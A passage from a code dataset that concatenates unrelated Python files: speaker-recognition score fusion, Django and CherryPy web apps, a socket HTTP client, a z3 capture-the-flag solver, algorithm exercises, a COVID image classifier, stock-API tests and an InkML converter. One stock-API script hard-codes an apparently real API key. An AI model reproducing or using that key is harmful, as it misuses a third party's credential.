{'cmn2': [0.01, 0.005] }# , 'vast': [0.05]}\n partitions = {'num_enroll_segs': ['1', '3'],\n 'phone_num_match': ['Y', 'N'],\n 'gender': ['male', 'female'],\n 'source_type': ['pstn', 'voip']}\n results = score_me('/Users/navealgarici/Documents/GitHub/SRE18/temp/nist18_split_test/scores/plda_old/ztnorm/scores-dev-fused-out.tsv', '/Users/navealgarici/Documents/GitHub/SRE18/tools/scoring_software/system_output/sre18_dev_trial_key.tsv', configuration, partitions, sub_partition=None)\n cprimary, cnt = 0., 0.\n for ds, res in results.items():\n eer, minc, actc = res\n cprimary += actc\n cnt += 1\n if eer < min_eer or actc < min_actc:\n print('EER: {:05.2f}\\tmin_C: {:.3f}\\tact_C: {:.3f}\\t{} ****improvement****'.format(eer * 100,\n minc, actc, weights))\n min_eer = min(eer, min_eer)\n min_actc = min(actc, min_actc)\n # print('{}\\t{:05.2f}\\t{:.3f}\\t{:.3f}'.format(ds.upper(), eer*100,\n # minc, actc))\n else:\n print('EER: {:05.2f}\\tmin_C: {:.3f}\\tact_C: {:.3f}\\t{}'.format(eer * 100,\n minc, actc, weights))\n# \"/docker_volume/Deployed_projects/SRE18/tools/scoring_software/system_output\"\n\n# python scoring_software/sre18_submission_scorer.py -o /Users/navealgarici/Documents/GitHub/SRE18/temp/nist18_baseline_e2e_all_swb_ubm_mix_and_swb_ivector/scores/plda/ztnorm/scores-dev-out.tsv -l /Users/navealgarici/Documents/GitHub/SRE18/tools/scoring_software/system_output/sre18_dev_trials.tsv -r /Users/navealgarici/Documents/GitHub/SRE18/tools/scoring_software/system_output/sre18_dev_trial_key.tsv","repo_name":"navealg/SRE18_BGU","sub_path":"tools/fuse_scores.py","file_name":"fuse_scores.py","file_ext":"py","file_size_in_byte":5601,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"14771877563","text":"from django.conf.urls.static import static\nfrom django.urls import path, include, re_path\nfrom sport_equipment import views\nfrom django.conf import settings\nfrom rest_framework.routers import DefaultRouter, SimpleRouter\nfrom .api_views import CategoryModelViewSet\n\napp_name = 'sport_equipment'\n\nrouter = DefaultRouter()\nrouter.register('categories', CategoryModelViewSet)\n\nurlpatterns = [\n path('', views.equipment_list_view, name='main'),\n path('equipment-category/list/', views.CategoryListView.as_view(), name='equipment-category-list'),\n path('api/', include(router.urls)),\n path('about/', views.AboutTemplateView.as_view(), name='about'),\n\n path('equipment-category/detail//', views.CategoryDetailView.as_view(), name='equipment-category-detail'),\n path('category/create/', views.CategoryCreateView.as_view(), name='category-create'),\n path('category/update//', views.CategoryUpdateView.as_view(), name='category-update'),\n path('category/delete//', views.CategoryDeleteView.as_view(), name='category-delete'),\n path('contacts/', views.ContactFormView.as_view(), name='contacts'),\n path('task-result//', views.TaskResultView.as_view(), name='task_result'),\n]\n\n\nif settings.DEBUG:\n urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)","repo_name":"DanteOnline/sportshop","sub_path":"sport_equipment/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1332,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"24568577772","text":"import cherrypy\nimport os\nfrom jinja2 import Environment, FileSystemLoader\nimport csv\nimport re\nfrom itertools import groupby\nfrom collections import defaultdict\nimport string\nimport codecs, io\nfrom io import StringIO, BytesIO\nfrom datetime import datetime\nfrom cherrypy import tools\n\nenv = Environment(loader=FileSystemLoader('html'))\n\nclass HelloWorld(object):\n\n SKIP_USER_NAMES = ['-', 'Администратор Пользователь', 'Администратор', 'под именем']\n \n @cherrypy.expose\n def index(self):\n data_to_show = ['Hello', 'world']\n tmpl = env.get_template('index.html')\n return tmpl.render(data=data_to_show)\n \n def parse_row(self, row):\n date, name = row[:2]\n date = datetime.strptime(date, '%d/%m/%y, %H:%M')\n return f'{name} {date.strftime(\"%d.%m.%y\")}', (name.strip(), date)\n\n @cherrypy.expose\n def ObrAll(self, filename, target_encoding='1251', username=None):\n reader = csv.reader(StringIO(filename.file.read().decode('utf-8')))\n\n UsersList = [] # Изначальный список\n newlist = [] # Список без дубликатов\n frequency = {}\n\n # Исключения имён\n for row in reader:\n Date = re.sub(r'[^0-9./]+', r'', row[0][0:8])\n User = row[1]\n if User != '-' and User != 'Администратор Пользователь' and User != 'Администратор \\u3000' and (\"под именем\" in User) == False:\n List = Date + ' ' + User\n UsersList.append(List)\n UsersList = [el for el, _ in groupby(UsersList)]\n\n # Избавление от дупликатов\n for i in UsersList:\n if i not in newlist:\n newlist.append(i)\n\n # Разбитие на \"слова\"\n newlist = \",\".join(newlist)\n newlist = re.sub(r'[^0-9/,]+', r'', newlist)\n newlist = newlist.replace(\"/\", \".\")\n newlist = newlist.split(\",\")\n\n # Подсчёт\n for word in newlist:\n count = frequency.get(word, 0)\n frequency[word] = count + 1\n frequency_list = frequency.keys()\n\n file_out = StringIO()\n # with open(file_name + \"UnicUserPerDay.csv\", \"w\", newline=\"\", encoding='utf-8') as file_out:\n writer = csv.writer(file_out, delimiter=\",\")\n for i in frequency_list:\n ITOG = [i, frequency[i]]\n writer.writerow(ITOG)\n file_out.seek(0)\n \n filename = filename.filename[0:-4]\n filenames = f\"attachment; filename={filename}_UniqUsersPerDay.csv\"\n cherrypy.response.headers['Content-Type'] = 'text/csv; charset=utf-8'\n cherrypy.response.headers['Content-Disposition'] = filenames\n return file_out.read().encode(target_encoding)\n\n @cherrypy.expose\n def ObrFIO(self, filename, username=None, target_encoding='1251'):\n reader = csv.reader(StringIO(filename.file.read().decode('utf-8')))\n reader = iter(reader)\n next(reader)\n users = sorted((row for row in map(self.parse_row, reader) if row[1][0] not in self.SKIP_USER_NAMES), key=lambda row: row[1][1])\n if username is not None and username:\n username = str(username).lower()\n users = filter(lambda row: row[1][0].lower().find(username) > -1, users)\n users = dict(users)\n\n file_out = StringIO()\n writer = csv.writer(file_out, delimiter=\",\")\n for name, date in users.values():\n writer.writerow((date.strftime('%d.%m.%y'), name))\n file_out.seek(0)\n filename = filename.filename.replace('.csv', '')\n filenames = f\"attachment; filename={filename}.csv\"\n cherrypy.response.headers['Content-Type'] = 'text/csv; charset=utf-8'\n cherrypy.response.headers['Content-Disposition'] = filenames\n return file_out.read().encode(target_encoding)\n\nconfig = {\n 'global': {\n 'server.socket_host': '0.0.0.0',\n 'server.socket_port': int(os.environ.get('PORT', 5000)),\n },\n '/assets': {\n 'tools.staticdir.root': os.path.dirname(os.path.abspath(__file__)),\n 'tools.staticdir.on': True,\n 'tools.staticdir.dir': 'assets',\n }\n}\n\ncherrypy.quickstart(HelloWorld(), '/', config=config)","repo_name":"AWiPhub/CSVChangerUGRASU","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4333,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"30175861246","text":"# first the client and server need to handshake and establish tcp connection \n# when creating TCP connection we associate it with the client socket address (IP address and port number)\n# -> find out how to get client/host socket address, do same for www.google.com (or the web address user enters)\n# when client creates its TCP socket, it specifies the address of the welcoming socket in the server (IP address of server host and port number of the socket)\n# after this, client then initiates three-way handshake and etablishes TCP connection with the server \n\n# serverSocket is the socket created by the server that is dedicated to the client specifically (initial point of contact for all clients wanting to \n# communicate with the server) \n# connectionSocket is the newly creted socket dedicated to the client making the connection (each connection socket is subsequently created for communicating \n# with each client)\n\nimport socket \nwebAddress = input('Enter a web address and press Enter: ')\nserverName = socket.gethostbyname(webAddress)\n# print('IP address of '+webAddress+' is '+serverName)\nserverPort = 80\n# create client socket (param1: using IPv4; param2: socket type TCP)\nclientSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nclientSocket.connect((serverName,serverPort))\nrequest = \"GET / HTTP/1.1\\r\\n\\r\\nHost:%s\\r\\n\\r\\n\" % webAddress\nclientSocket.send(request.encode())\nprint('Your webpage content is:')\nprint(clientSocket.recv(4096))\nclientSocket.close() ","repo_name":"PhilipCappello/TCP-socket-programming","sub_path":"216465098.py","file_name":"216465098.py","file_ext":"py","file_size_in_byte":1671,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"21947764571","text":"import z3\nimport itertools\nfrom numpy import int32, int64\n\ndef calc_sum(inp):\n ret = int32(0)\n for c in inp:\n cv = int32(ord(c))\n ret = (ret * 31 + cv)\n return int32(ret)\n\ndef calc_sum_old(inp):\n ret = 0\n for c in inp:\n ret = (ret * 31 + ord(c)) & 0xffffffff\n return ret\n\nstatic_strings = [\"redpwn\", \"ctf2020\"]\nstatic_longs = [8248156489741230770, -5342668067454976247, -889275714, -559038737]\n\nstatic_nums = [calc_sum(l) for l in static_strings]\n\ndef hex_nibble(num, large):\n if large:\n return ord(f\"{num:X}\")\n return ord(f\"{num:x}\")\n\ndef possible(num):\n chars = []\n #print(f\"possible for num: {num:x}\")\n for b in range(16):\n shift_down = (15 - b) * 4\n n = (num >> shift_down) & 0xf\n #print(f\"doing nibble {b}: {n:x}\")\n if n < 10:\n chars.append([f\"{n}\"])\n else:\n chars.append([f\"{n:x}\", f\"{n:X}\"])\n return itertools.product(*chars)\n\ndef run_calc(num, idx):\n r3 = int64(static_nums[idx])\n asdf = (r3 | (r3 << 32))\n stat1 = int64(static_longs[idx])\n stat2 = int64(static_longs[idx + 2])\n res1 = asdf ^ stat1\n r5 = int64(num)\n # s.add(r5 <= 0x7fffffffffffffff)\n res2 = r5 * stat2\n return res1, res2\n\ndef get_solution(bad_num):\n s = z3.Solver()\n\n a, b = z3.BitVec('a', 64), z3.BitVec('b', 64)\n for idx, num in enumerate([a, b]):\n r3 = z3.BitVecVal(int(static_nums[idx]), 32)\n r3 = z3.SignExt(32, r3)\n asdf = (r3 | (r3 << 32))\n stat1 = z3.BitVecVal(static_longs[idx], 64)\n stat2 = z3.BitVecVal(static_longs[idx + 2], 64)\n res1 = asdf ^ stat1\n r5 = num\n # s.add(r5 <= 0x7fffffffffffffff)\n res2 = r5 * stat2\n s.add(res1 == res2)\n\n for ba, bb in bad_num:\n s.add(z3.Or(a != ba, b != bb))\n assert s.check() == z3.sat\n ea = s.model().eval(a).as_long()\n eb = s.model().eval(b).as_long()\n return ea, eb\n\nea = 0\neb = 0\nbad_nums = []\nfor i in range(10):\n ea, eb = get_solution(bad_nums)\n target = 1140336659\n print(f\"found model: {ea:X} {eb:X}\")\n a_poss = list(possible(ea))\n b_poss = list(possible(eb))\n print(f\"possible combinations\", len(a_poss), len(b_poss))\n for a_comb in a_poss:\n for b_comb in b_poss:\n flag = f\"flag{{{''.join(a_comb)}{''.join(b_comb)}}}\"\n # print(\"testing flag: \", flag)\n if calc_sum(flag) == target:\n print(f\"we got flag!: {flag}\")\n break\n bad_nums.append((ea, eb))\n # flag = f\"flag{{{ea:X}{eb:X}}}\"\n # if len(flag) == 38:\n # res = calc_sum(flag)\n # if res == target:\n # break\n # else:\n # print(\"bad length!\")\n\nprint(\"Model was actually good!\")","repo_name":"galli-leo/redpwn2020","sub_path":"java-is-ez/solver2.py","file_name":"solver2.py","file_ext":"py","file_size_in_byte":2768,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"15717713805","text":"#!usr/bin/env python\n# -*- coding:utf-8 _*-\n\"\"\"\n@author:jieshukai\n@file: relection.py\n@time: 2019/03/10\n\"\"\"\nfrom playhouse.reflection import *\nfrom pwiz_plus.database import *\nfrom pwiz_plus.metada import PwizMySQLMetadata\n\nDATABASE_ALIASES = {\n PwizMySQLDatabase: ['mysql', 'mysqldb'],\n PwizPostgresqlDatabase: ['postgres', 'postgresql'],\n PwizSqliteDatabase: ['sqlite', 'sqlite3'],\n}\nDATABASE_MAP = dict((value, key)\n for key in DATABASE_ALIASES\n for value in DATABASE_ALIASES[key])\n\n\nclass PwizIntrospector(Introspector):\n @classmethod\n def from_database(cls, database, schema=None):\n if isinstance(database, PwizPostgresqlDatabase):\n metadata = PostgresqlMetadata(database)\n elif isinstance(database, PwizMySQLDatabase):\n metadata = PwizMySQLMetadata(database)\n else:\n metadata = SqliteMetadata(database)\n return cls(metadata, schema=schema)\n","repo_name":"jieshukai/pwiz_plus","sub_path":"pwiz_plus/relection.py","file_name":"relection.py","file_ext":"py","file_size_in_byte":960,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"} +{"seq_id":"2785901992","text":"# 53. Maximum Subarray\n\n###################################################################################################\n#Given an integer array nums, find the contiguous subarray \n#(containing at least one number) which has the largest sum and return its sum.\n\ndef maxSubArray(nums):\n\tmax_total = 0\n\tmax_local = 0\n\t\n\t# if only one element then return that element.\n\tif len(nums) == 1:\n\t\treturn nums[0]\n\n\t# if all the elements are negative, the solution is the max.\n\tif all(i<0 for i in nums):\n\t\treturn max(nums)\n\n\t\n\tfor i in range(0,len(nums)):\n\t\t#print(i)\n\t\tmax_local = max_local + nums[i]\n\t\t#print(max_local)\n\n\t\tif max_local <0:\n\t\t\tmax_local = 0\n\t\t\t#print('max_local negative')\n\t\t\n\t\tif max_local > max_total:\n\t\t\tmax_total = max_local\n\t\t\t#print('max total updated')\n\t\t\t\n\treturn max_total\n\t\t\t\n###################################################################################################\t\t\n# Kadane's Algorithm\n# Beautiful solution. The idea is that if we know the maximum subarray sum ending at position i\n# then the max subarray sum ending at position i+1 is either (a) max subarray sum until i \n#plus element at position i+1 or (b) only the element at position i+1, whichever is the max.\n\ndef kadane(nums):\n\tmax_local = nums[0]\n\tmax_total = nums[0]\n\n\tfor i in range(1,len(nums)):\n\t\tmax_local = max(nums[i], max_local + nums[i])\n\t\tmax_total = max(max_local, max_total)\n\n\treturn max_total\n\t\t\n##################################################################################################\n\n#his solution is linear but uses O(n) space\ndef maxSumSub(nums):\n\tB=[0]*len(nums)\n\tfor i in range(len(nums)):\n\t\tB[i] = max(nums[i],B[i-1]+nums[i])\n\n\treturn max(B)\n\t\t\n","repo_name":"nestorghh/coding_interview","sub_path":"maxSubArray.py","file_name":"maxSubArray.py","file_ext":"py","file_size_in_byte":1669,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"35673801643","text":"#karatsuba approach for lonf integer multiplication\r\n#using divide and conquer algorithmic paradigm\r\n\r\n#perform X*Y\r\ndef karatsuba(X,Y):\r\n #base case : Atomic Multiplication\r\n if(X<10 or Y<10):\r\n return X*Y\r\n \r\n m = max(len(str(X)), len(str(Y))) #unequal length\r\n\r\n if m%2!=0:\r\n m-=1\r\n a,b= divmod(X,10**(int(m/2)))\r\n c,d= divmod(Y,10**(int(m/2)))\r\n\r\n ac=karatsuba(a,c)\r\n bd=karatsuba(b,d)\r\n ab_cd=karatsuba((a+b),(c+d))-ac-bd\r\n\r\n return (ac*(10**m))+((ab_cd)*(10**int(m/2))) +bd\r\n\r\nX = int(input(\"Enter number1: \"))\r\nY = int(input(\"Enter NUmber2: \"))\r\nmul = karatsuba(X,Y)\r\nprint(mul)","repo_name":"bintibhatt/Design-and-Analysis-of-algorithm","sub_path":"karatsuba/Karatsuba.py","file_name":"Karatsuba.py","file_ext":"py","file_size_in_byte":633,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"4327694322","text":"from flask import Flask, render_template, request,jsonify\r\nfrom keras.models import load_model\r\nimport cv2\r\nimport numpy as np\r\nimport base64\r\nfrom PIL import Image\r\nimport io\r\nimport re\r\nimport matplotlib.pyplot as plt\r\nfrom builtins import range, input\r\n# before\r\nfrom keras.preprocessing.image import ImageDataGenerator, load_img\r\n# after\r\nfrom keras.preprocessing.image import ImageDataGenerator, load_img, img_to_array\r\nimg_size=250\r\n\r\napp = Flask(__name__) \r\n\r\nmodel=load_model('C:\\\\Users\\\\computer world\\\\Desktop\\\\link webapp to html\\\\vgg_ct_trail_50_epoch.h5')\r\n\r\nlabel_dict={0:'Covid19 Negative', 1:'Covid19 Positive'}\r\n\r\ndef preprocess(img):\r\n #imgr=cv2.imread('imgr')\r\n #imgr = cv2.cvtColor(imgr, cv2.COLOR_BGR2RGB) # arrange format as per deep learning libraries\r\n #imgr = cv2.resize(imgr,(250,250)) # resize as per model\r\n #x = img_to_array(imgr) # Numpy array with shape (250, 250, 3)\r\n #x = x.reshape((1,) + x.shape) # Numpy array with shape (1, 250, 250, 3)\r\n #x /= 255\r\n #return x\r\n\timg=np.array(img)\r\n\r\n\t#if(img.ndim==2):\r\n\tgray=cv2.cvtColor(img,cv2.COLOR_BGR2RGB)\r\n\t#else:\r\n\t\t#gray=img\r\n\r\n\tgray=gray/255\r\n\tresized=cv2.resize(gray,(img_size,img_size))\r\n\treshaped=img_to_array(resized)\r\n\treshaped=resized.reshape((1,) + reshaped.shape)\r\n\treturn reshaped\r\n\r\n\t\t\r\n@app.route(\"/\")\r\ndef index():\r\n\treturn(render_template(\"CT index.html\"))\r\n\r\n@app.route(\"/predict\", methods=[\"POST\"])\r\ndef predict():\r\n\tprint('HERE')\r\n\tmessage = request.get_json(force=True)\r\n\tencoded = message['image']\r\n\tdecoded = base64.b64decode(encoded)\r\n\tdataBytesIO=io.BytesIO(decoded)\r\n\tdataBytesIO.seek(0)\r\n\timage = Image.open(dataBytesIO)\r\n\r\n\ttest_image=preprocess(image)\r\n\r\n\tprediction = model.predict(test_image)\r\n\tresult=np.argmax(prediction,axis=1)[0]\r\n\taccuracy=float(np.max(prediction,axis=1)[0])\r\n\r\n\tlabel=label_dict[result]\r\n\r\n\tprint(prediction,result,accuracy)\r\n\r\n\tresponse = {'prediction': {'result': label,'accuracy': accuracy}}\r\n\r\n\treturn jsonify(response)\r\n\r\napp.run(debug=False, port=8000)","repo_name":"shiwalikasambyal/Webapp-to-detect-Covid-19","sub_path":"ct app.py","file_name":"ct app.py","file_ext":"py","file_size_in_byte":2014,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"24084557997","text":"import json\n\n## A script that splits a JSON master file for a HearthCube into separate files for each HS class (Druid, Priest, etc.)\n\n# First, load the entirety of the cube's master file into memory.\nmaster_cards_file = open('cards.cube.master.json', 'r')\nall_cards = json.load(master_cards_file)\nmaster_cards_file.close()\n\n# We create the file for each class separately, instead of writing to them continuously, \n# or having all the classes' data coexist as one giant dictionary.\nfor card_class in ['PRIEST', 'MAGE', 'WARLOCK', 'WARRIOR', 'HUNTER', 'PALADIN', 'ROGUE', 'DRUID', 'SHAMAN']:\n # We need to parse each rarity, since they're separated in this format.\n cube_class = {}\n for card in (all_cards['NEUTRAL'] + all_cards[card_class]):\n new_card = {}\n new_card['dbfId'] = card['dbfId']\n new_card['name'] = card['name']\n new_card['rarity'] = card['rarity']\n # In the class files, cards only have one frequency.\n if card_class in card['frequency']:\n new_card['frequency'] = card['frequency'][card_class]\n elif 'DEFAULT' in card['frequency']:\n new_card['frequency'] = card['frequency']['DEFAULT']\n else:\n new_card['frequency'] = 0\n new_card['url'] = card['url']\n cube_class[new_card['dbfId']] = new_card\n\n # Write each class' cube to another file. I'm too lazy for an actual backend, so we just import them for now\n cube_class_file = open('../src/api/cards.cube.' + card_class.lower() + '.js', 'w')\n cube_class_file.write('const ' + card_class.lower() + 'Cards = ')\n json.dump(cube_class, cube_class_file)\n cube_class_file.write(';\\nexport default ' + card_class.lower() + 'Cards')\n cube_class_file.close()","repo_name":"jeremy-deutsch/hearthcube","sub_path":"card_json/card_class_separator.py","file_name":"card_class_separator.py","file_ext":"py","file_size_in_byte":1738,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"39625115703","text":"# %%\r\n# this is using the alpha_vantage wrapper python package...not quite the same as using the api directly as code below\r\nfrom alpha_vantage.timeseries import TimeSeries\r\nfrom alpha_vantage.techindicators import TechIndicators\r\nfrom matplotlib.pyplot import figure\r\nimport matplotlib.pyplot as plt\r\nimport matplotlib\r\nimport requests\r\n# import json\r\nfrom pprint import pprint\r\n# Make plots bigger\r\nmatplotlib.rcParams['figure.figsize'] = (20.0, 10.0)\r\n\r\n\r\n# %%\r\nkey = 'LAJBI8EN52GC18OY'\r\nts = TimeSeries(key, output_format='pandas')\r\nti = TechIndicators(key)\r\n\r\npprint(ts)\r\npprint(ti)\r\n\r\n\r\n# %%\r\naapl_data, aapl_meta_data = ts.get_daily(symbol='GME')\r\naapl_sma, aapl_meta_sma = ti.get_sma(symbol='GME')\r\nprint(aapl_data)\r\nprint(aapl_meta_data)\r\nprint(' ---break--- ')\r\npprint(aapl_sma)\r\nprint(aapl_meta_sma)\r\n\r\n\r\n# %%\r\nfigure(num=None, figsize=(15, 6), dpi=80, facecolor='w', edgecolor='k')\r\naapl_data['4. close'].plot()\r\nplt.tight_layout()\r\nplt.grid()\r\nplt.show()\r\n\r\n# %%\r\n# this is using the actual api from alphavantage to get the data from the url api\r\n\r\n\r\nkey = ''\r\nticker = 'GME'\r\nurl = 'https://www.alphavantage.co/query?function=TIME_SERIES_DAILY_ADJUSTED&symbol={}&apikey={}'.format(ticker, key)\r\nresponse = requests.get(url)\r\npprint(response.json())\r\n\r\n# %%\r\n# messing around with loops to get multi datapoints using alpha_vantage wrapper\r\n\r\nkey = ''\r\nts = TimeSeries(key, output_format='pandas')\r\nsymbols = ['AAPL', 'GOOG', 'TSLA', 'MSFT', 'GME']\r\nfor symbol in symbols:\r\n data = ts.get_daily(symbol)\r\n pprint(data)\r\n\r\n\r\n# %%\r\nfrom alpha_vantage.sectorperformance import SectorPerformances\r\nsp = SectorPerformances(key='', output_format='pandas')\r\ndata, meta_data = sp.get_sector()\r\ndata.describe()\r\n\r\n# %%\r\ndata['Rank A: Real-Time Performance'].plot(kind='bar')\r\nplt.title('Real Time Performance (%) per Sector')\r\nplt.tight_layout()\r\nplt.grid()\r\nplt.show()\r\n\r\n# %%\r\n","repo_name":"jasparkatt/myFlask","sub_path":"testing.py","file_name":"testing.py","file_ext":"py","file_size_in_byte":1897,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"18995118343","text":"import re\nimport time\nimport psycopg2\nimport logging\n\nimport queuelib\nfrom queuelib import QueueService\n\nimport urlparse\nimport requests\n\nclass SuspensionCategorizer(QueueService):\n QUEUE_NAME = 'suspensions'\n PATTERNS = {\n 'MHRA': r'This domain has been suspended on advice from the Medicines and Healthcare products Regulatory Agency \\(MHRA\\)\\.',\n 'FCA': r'This domain has been suspended on request from the Financial Conduct Authority \\(FCA\\)\\.',\n 'PIPCU': r'This domain has been suspended on advice from the Police Intellectual.*Property Crime Unit \\(PIPCU\\)\\.'\n }\n\n def setup_bindings(self):\n self.ch.queue_declare(\"suspensions\", durable=True, auto_delete=False)\n self.ch.queue_bind(\"suspensions\", \"org.results\", \"results.#\")\n self.session = requests.session()\n\n\n def get_category(self, content):\n for (name, pattern) in self.PATTERNS.items():\n if re.search(pattern, content, re.S|re.M):\n return name\n\n\n def process_message(self, data):\n if data.get('blocktype') != 'SUSPENSION':\n return True\n\n logging.info(\"Got result for %s\", data['url'])\n\n req = self.session.get(data['url'])\n category = self.get_category(req.content)\n logging.info(\"Got category: %s\", category)\n if not category:\n return True\n\n count = 0\n\n c = self.conn.cursor()\n c.execute(\"update url_latest_status \"\n \"set category=%s \"\n \"where urlid = (select urlid from urls where url = %s) \"\n \" and blocktype = 'SUSPENSION' \",\n [category, data['url']])\n count += c.rowcount\n logging.info(\"Updated %s uls\", count)\n c.close()\n self.conn.commit()\n return True\n\n\ndef main():\n queuelib.setup_logging()\n categorizer = SuspensionCategorizer()\n categorizer.run()\n\nif __name__ == '__main__':\n main()\n","repo_name":"openrightsgroup/Blocking-Middleware","sub_path":"backend/queue-services/suspension-categorize.py","file_name":"suspension-categorize.py","file_ext":"py","file_size_in_byte":1950,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"35"} +{"seq_id":"36397893027","text":"'''\nQuestion:\nA robot moves in a plane starting from the original point (0,0). The robot can move toward UP, DOWN, LEFT and RIGHT \nwith a given steps. The trace of robot movement is shown as the following:\nUP 5\nDOWN 3\nLEFT 3\nRIGHT 2\nThe numbers after the direction are steps. \nPlease write a program to compute the distance from current position after a sequence of movement and original point. \nIf the distance is a float, then just print the nearest integer.\nExample:\n'''\nimport math\nOrg_Pos=[0,0]\n\n\nwhile True:\n s=(input(\"Enter movement of robot as UP, DOWN, LEFT, RIGHT followed by length:\"))\n if(not s):\n break\n inputlist=s.split(' ')\n \n direction = inputlist[0]\n steps = int(inputlist[1])\n if(direction==\"UP\"):\n Org_Pos[1]+=steps\n elif(direction==\"DOWN\"):\n Org_Pos[1]-=steps\n elif(direction==\"LEFT\"):\n Org_Pos[0]-=steps\n elif(direction==\"RIGHT\"):\n Org_Pos[0]+=steps\n else:\n pass\ndistance=int(math.sqrt(Org_Pos[0]**2+Org_Pos[1]**2))\nprint(\"The distance covered by robot is:{}\".format(distance))\n ","repo_name":"Nischal47/Python_Exercise","sub_path":"#21.py","file_name":"#21.py","file_ext":"py","file_size_in_byte":1086,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"40635864293","text":"import pygame\n\nclass Transfer():\n def __init__(self, screen, comment, nextThing):\n self.screen = screen\n self.next = nextThing\n self.comment = comment\n self.font = pygame.font.SysFont(None,50)\n self.background = pygame.Surface(self.screen.get_size())\n self.background = self.background.convert()\n self.counter = 0\n self.increment = 30\n\n def draw(self, **kwargs):\n self.background.fill((0,0,0))\n if self.counter < self.increment:\n text = self.font.render(\"3\", True, (255,255,255))\n elif self.counter < self.increment*2:\n text = self.font.render(\"2\", True, (255,255,255))\n elif self.counter < self.increment*3:\n text = self.font.render(\"1\", True, (255,255,255))\n else:\n text = self.font.render(self.comment, True, (255,255,255))\n textRect = text.get_rect()\n self.background.blit(text, (textRect[0]+375, textRect[1]+300, \\\n textRect[2], textRect[3]))\n self.screen.blit(self.background,(0,0))\n\n def update(self, **kwargs):\n self.counter += 1\n if self.counter > self.increment*4:\n return self.next\n \n","repo_name":"begerter/magic-improv","sub_path":"transfer.py","file_name":"transfer.py","file_ext":"py","file_size_in_byte":1227,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"17755501703","text":"from skimage.transform import resize\nimport xml.etree.ElementTree as ET\nimport os\nimport numpy as np\nfrom tqdm import tqdm\nimport cv2\nimport pandas as pd\nimport split_folders\nimport matplotlib.pyplot as plt\nimport matplotlib.image as mpimg\nfrom skimage.transform import resize\nfrom os.path import isfile, join\nfrom PIL import Image\n\nclass BuildDataset:\n\n def __init__(self):\n self.input_directory = 'input/'\n self.train_dataset_directory = 'CROHME_training_2011/'\n self.seed = 999\n self.final_train_directory = 'Image_data/finaltrain/'\n self.split_folders = 'final_output_images'\n\n def seedEverything(self):\n os.environ['PYTHONHASHSEED'] = str(self.seed)\n np.random.seed(self.seed)\n\n def getTracesData(self, inkml_file_abs_path):\n\n \ttraces_data = []\n\n \ttree = ET.parse(inkml_file_abs_path)\n \troot = tree.getroot()\n \tdoc_namespace = \"{http://www.w3.org/2003/InkML}\"\n\n \t'Stores traces_all with their corresponding id'\n \ttraces_all = [{'id': trace_tag.get('id'),\n \t\t\t\t\t'coords': [[round(float(axis_coord)) if float(axis_coord).is_integer() else round(float(axis_coord) * 10000) \\\n \t\t\t\t\t\t\t\t\tfor axis_coord in coord[1:].split(' ')] if coord.startswith(' ') \\\n \t\t\t\t\t\t\t\telse [round(float(axis_coord)) if float(axis_coord).is_integer() else round(float(axis_coord) * 10000) \\\n \t\t\t\t\t\t\t\t\tfor axis_coord in coord.split(' ')] \\\n \t\t\t\t\t\t\tfor coord in (trace_tag.text).replace('\\n', '').split(',')]} \\\n \t\t\t\t\t\t\tfor trace_tag in root.findall(doc_namespace + 'trace')]\n\n \t'Sort traces_all list by id to make searching for references faster'\n \ttraces_all.sort(key=lambda trace_dict: int(trace_dict['id']))\n\n \t'Always 1st traceGroup is a redundant wrapper'\n \ttraceGroupWrapper = root.find(doc_namespace + 'traceGroup')\n\n \tif traceGroupWrapper is not None:\n \t\tfor traceGroup in traceGroupWrapper.findall(doc_namespace + 'traceGroup'):\n\n \t\t\tlabel = traceGroup.find(doc_namespace + 'annotation').text\n\n \t\t\t'traces of the current traceGroup'\n \t\t\ttraces_curr = []\n \t\t\tfor traceView in traceGroup.findall(doc_namespace + 'traceView'):\n\n \t\t\t\t'Id reference to specific trace tag corresponding to currently considered label'\n \t\t\t\ttraceDataRef = int(traceView.get('traceDataRef'))\n\n \t\t\t\t'Each trace is represented by a list of coordinates to connect'\n \t\t\t\tsingle_trace = traces_all[traceDataRef]['coords']\n \t\t\t\ttraces_curr.append(single_trace)\n\n\n \t\t\ttraces_data.append({'label': label, 'trace_group': traces_curr})\n\n \telse:\n \t\t'Consider Validation data that has no labels'\n \t\t[traces_data.append({'trace_group': [trace['coords']]}) for trace in traces_all]\n\n \treturn traces_data\n\n def inkml2img(self, input_path, output_path):\n traces = self.getTracesData(input_path)\n path = input_path.split('/')\n path = path[len(path)-1].split('.')\n path = path[0]+'_'\n file_name = 0\n for elem in traces:\n plt.gca().invert_yaxis()\n plt.gca().set_aspect('equal', adjustable='box')\n plt.axes().get_xaxis().set_visible(False)\n plt.axes().get_yaxis().set_visible(False)\n plt.axes().spines['top'].set_visible(False)\n plt.axes().spines['right'].set_visible(False)\n plt.axes().spines['bottom'].set_visible(False)\n plt.axes().spines['left'].set_visible(False)\n ls = elem['trace_group']\n output_path = output_path\n\n for subls in ls:\n data = np.array(subls)\n 